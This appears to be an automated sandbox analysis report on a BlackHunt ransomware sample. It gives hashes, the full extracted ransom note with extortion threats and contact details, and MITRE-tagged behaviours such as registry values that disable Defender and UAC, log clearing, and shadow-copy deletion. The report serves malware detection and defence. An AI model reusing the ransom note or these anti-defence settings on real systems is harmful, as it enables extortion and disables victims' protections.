f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d

Analysis

max time kernel
148s
max time network
133s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 01:29

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General

Target

f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Size

707KB
MD5

3b1d1a47298938752554b5c01c3eef3c
SHA1

bdf55867bff13272b5784771243f8843c9533483
SHA256

f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d
SHA512

39958bfa647b579d9b0f15b69e8caa1b56779fb7ff043f2380b9c49f3f9efe37c6166d79853d0170c0a2b4ca5f1d012e965dc79bac9e7eac53f510df4edcabbc
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza138Hvnh:6uaTmkZJ+naie5OTamgEoKxLWGPh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> EH10dZkOneLag2ml </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2808	fsutil.exe
2472	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2468	wevtutil.exe
1380	wevtutil.exe
1388	wevtutil.exe
2380	wevtutil.exe
2484	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2648	bcdedit.exe
2560	bcdedit.exe
1280	bcdedit.exe
2056	bcdedit.exe

Renames multiple (2403) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1304	wbadmin.exe
2980	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\E:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\I:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\J:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\N:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\U:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\O:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\A:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\H:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\Q:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\B:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\S:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\G:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\P:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\Z:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\M:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\K:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\L:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\R:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\Y:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\X:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened (read-only)	\??\V:	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.hta	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text_3.5.300.v20130515-1451.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Maldives	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.hta	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Thunder_Bay	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_VideoInset.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_ReadMe.txt	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground.wmv	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\updater_zh_CN.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.hta	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#BlackHunt_ReadMe.hta	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Rangoon	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tokyo	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jre7\bin\#BlackHunt_ReadMe.hta	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
